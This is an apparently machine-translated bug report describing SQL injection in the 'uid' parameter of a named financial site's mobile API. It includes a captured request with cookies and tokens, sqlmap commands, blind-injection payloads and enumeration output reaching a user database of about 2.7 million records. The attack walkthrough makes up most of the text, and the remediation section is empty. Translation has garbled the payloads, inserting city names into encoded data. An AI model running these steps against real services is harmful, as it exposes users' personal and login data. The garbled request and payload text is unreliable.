Mysql injection vulnerability in a website in Rong 360

Mysql injection vulnerability in a website in Rong 360

RT, Chinese New Year. Enjoy a red envelope

RT

The following is an integrated app designed to study logical vulnerabilities. injection was found during the test...

Mobile Packet Capture

Get

POST/zhigou/mapi/appv10/auth HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 653

Host: bigapp.rong360.com

Connection: Keep-Alive

Accept-Encoding: gzip

Cookie: _ utmz = 1453638415. utmcsr = (direct) | utmcmd = (direct); RONGID = f21fc42fceb01a1542fedc818091b45d; abclass = 1453638_4 _4

User-Agent: okhttp/2.5.0





Uid = 3727626 & sec_level = 1 & ticket = 823d7601af2a06e8 & data = %%2faiisyrdwa3i7% %%%%%%%%%%%%%%%%%2fe33% 2FP48LuYnp





Injection exists at uid

Save the package to the sqlmapdirectory named test1.txt

Start sqlmap

Input-r test1.txt -- dbs

Get

Sqlmap identified the following injection points with a total of 0 HTTP (s) requests:

---

Place: POST

Parameter: uid

Type: boolean-based blind

Title: AND boolean-based blind-WHERE or HAVING clause

Payload: uid = 3727626 'AND 5662 = 5662 AND 'yzph' = 'yzph & sec_level = 1 & ticket = 823d7601af2a06e8 & data = Hangzhou/AIiSYrDwa3I7/Hangzhou + Shanghai/ examples/rUQayjQ8UxkHL4ukaZHV + nnOuhzjZNabtGBFDpri3foY3ThsA1KAe0OrwaoZfD/examples/e33/P48LuYnp





Type: AND/OR time-based blind

Title: MySQL> 5.0.11 AND time-based blind

Payload: uid = 3727626 'and sleep (5) AND 'arfr '= 'arfr & sec_level = 1 & ticket = 823d7601af2a06e8 & data = Hangzhou/AIiSYrDwa3I7/Shanghai + Shanghai/ e33/P48LuYnp

---

Available databases [3]:

[*] Information_schema

[*] R360_passport

[*] Test



-R test1.txt -- tables-D "r360_passport"

Get

Database: r360_passport

[2 tables]

+ -------------------- +

| User_info |

| User_login_history |

+ -------------------- +

In this case, run the count command to check the quantity ~~~ User Information 2727054. -------------- 2.7 million



Run user_info again to check which user information is available.

-R test1.txt -- column-T "user_info"-D "r360_passport"

Get



When reading username, some users can log on to Weibo directly...
 

 

 

 

This is the case if the data volume is large and the financial industry is not exhausted.

Solution:

You know